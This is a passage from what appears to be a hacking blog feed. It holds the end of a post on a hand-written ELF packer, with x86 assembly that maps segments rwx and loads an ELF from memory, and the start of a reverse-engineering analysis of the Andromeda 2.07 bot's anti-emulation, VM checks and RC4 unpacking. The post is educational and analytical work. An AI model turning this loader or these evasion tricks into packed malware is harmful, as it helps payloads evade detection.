&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_type&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PT_LOAD&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.no_load&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_flags&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; protections&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_memsz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; virtual size&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_vaddr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; virtual address&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_filesz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; file size&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_offset&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; offset&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fake_map&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;.no_load:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; check if it&amp;#39;s a dynamic section&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_type&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PT_INTERP&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.no_dynamic&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_phdr.p_vaddr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;dynamic&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nl"&gt;.no_dynamic:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; switch to next program header entry&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;dec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.loop2&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;dynamic&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.load_interp&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; program doesn&amp;#39;t have PT_INTERP, jmp to its entry point&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;elf32_hdr.e_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.gtfo&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.load_interp:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; we don&amp;#39;t load interpreter for the moment, simply GTFO and abort.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;exit&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;.gtfo:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;leave&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



Now, let's have a look about the "fake_map" function.

In the traditional way, Linux kernel opens a file descriptor to the ELF binary, and uses it to map the binary file at different offsets with different sizes (and different permissions of course) as described in the program header table. But, here, we don't have any file descriptor, and we'll have to emulate mapping by hand, what does the "fake_map" function.
To simplify code and avoid mprotect syscall I set all the permissions on "rwx" (which is really UGLY, I know). Here is the code, I hope with enough comments:

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;%define offset 8&lt;/span&gt;
&lt;span class="cp"&gt;%define size 0ch&lt;/span&gt;
&lt;span class="cp"&gt;%define base 10h&lt;/span&gt;
&lt;span class="cp"&gt;%define map_size 14h&lt;/span&gt;
&lt;span class="cp"&gt;%define elf_flags 18h &lt;/span&gt;
&lt;span class="nl"&gt;fake_map:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; do the mmap   &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; offset&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; fd&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAP_PRIVATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAP_ANONYMOUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAP_FIXED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; flags&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PROT_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PROT_WRITE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PROT_EXEC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; permissions&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Align mapping size&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;map_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; mapping size&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; add padding to ELF&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfff&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; align size to a page&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;1000h&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0fffff000h&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;push new size&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Align base&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0fffff000h&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; push base&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SYS_MMAP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;80h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; syscall&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Copy the in-memory file into the section&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; align the offset&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0fffh&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;movsb&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;leave&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;14h&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



If you want to test by yourself, you can download the code [nasm](http://repo.aassfxxx.infos.st/misc/asm/packer_lame.asm)</content><category term="Hacking"/><category term="Packer"/><category term="ELF"/><category term="C"/><category term="assembler"/></entry><entry><title>Andromeda 2.07 analysis</title><link href="/andromeda-207-analysis.html" rel="alternate"/><published>2013-03-23T17:13:00+01:00</published><updated>2013-03-23T17:13:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2013-03-23:/andromeda-207-analysis.html</id><summary type="html">&lt;p&gt;Hi folks !&lt;br/&gt;
As it's spring (and I've not written something for a while), malwares get updated, and this is also the case for Andromeda which got an update. I know I already wrote something about previous version, but this version has some fun tricks, so let's reverse it to see these tricks :)&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Hi folks !&lt;br/&gt;
As it's spring (and I've not written something for a while), malwares get updated, and this is also the case for Andromeda which got an update. I know I already wrote something about previous version, but this version has some fun tricks, so let's reverse it to see these tricks :)&lt;/p&gt;


&lt;h2&gt;First analysis&lt;/h2&gt;
&lt;p&gt;When we load the executable for the first time in OllyDBG, we get this
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda2/andromeda1.png"&gt;&lt;img src="/media/andromeda2/andromeda1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;As we can see, the malware calls two functions: the first function walks trough the PEB to find loaded DLLs, converts unicode dll name into ANSI one and then hash it to compare it to the first argument (the hash of the wanted dll). So we can call this function "findLibraryByHash". Here, the functions gives to us the image base of kernel32.dll, checks if function is null and jumps into bullshit if the result is null.
That's not the case here, so we go to the second function and we step into (F7)
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda2/andromeda2.png"&gt;&lt;img src="/media/andromeda2/andromeda2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;The function begins to load some function by their hash (done by the function at 00401746, which i'll call getProcedureByHash).
Then the function sets an exception handler (I'll explain later what it does), and there are some calls which are useless for us, except the call at 00401BF9 (the call before the two conditionnal jumps).
The call is used to get a string pointer (and also as anti-disassembler trick). The first instruction of the call is "pop esi", so esi registers contains the address of return address, which is a string pointer (esi points to "guard32.dll" string). We also notice a "INC BYTE PTR DS:[ESI+B]", which increments 0xFF (aka -1), to have a null byte-terminated string. Then there is a call to GetModuleHandleA to check it module is loaded or not (anti-emulation protection). Then the malware checks if some processes are present in memory, just like the previous version of the bot.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;As I'm using VirtualBox (with additions, yeah I know it sucks but I can't live with additions :3), I get redirected to 00401E95, which pushes some arguments and calls a function: let's analyze it :)
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda2/andromeda3.png"&gt;&lt;img src="/media/andromeda2/andromeda3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;The function first loads some ntdll APIs (ZwAllocateVirtualMemory, RtlRandom, and other, just see what happens in ollydbg), then allocates virtual memory. After that, first argument is put into ebx, and then we have this call
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda2/andromeda4.png"&gt;&lt;img src="/media/andromeda2/andromeda4.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;This function is a RC4 decryption function, where key is stored at [ebx] and sizes 16 bytes, and data is stored at [ebx+28h]. Then we have a call to a jCalg1 decryption function (just like previous andromeda version), and to avoid stepping into, just put a breakpoint at 00401FBB to avoid relocation shit.
Then the malware allocates again virtual memory and fills it with random bytes, before doing solving some APIs. But, after getting function address, the malware calls a strange function, which takes the random-filled memory space, the API address and an unknown variable... smells bad, so let's have a look into this.
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda2/andromeda5.png"&gt;&lt;img src="/media/andromeda2/andromeda5.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
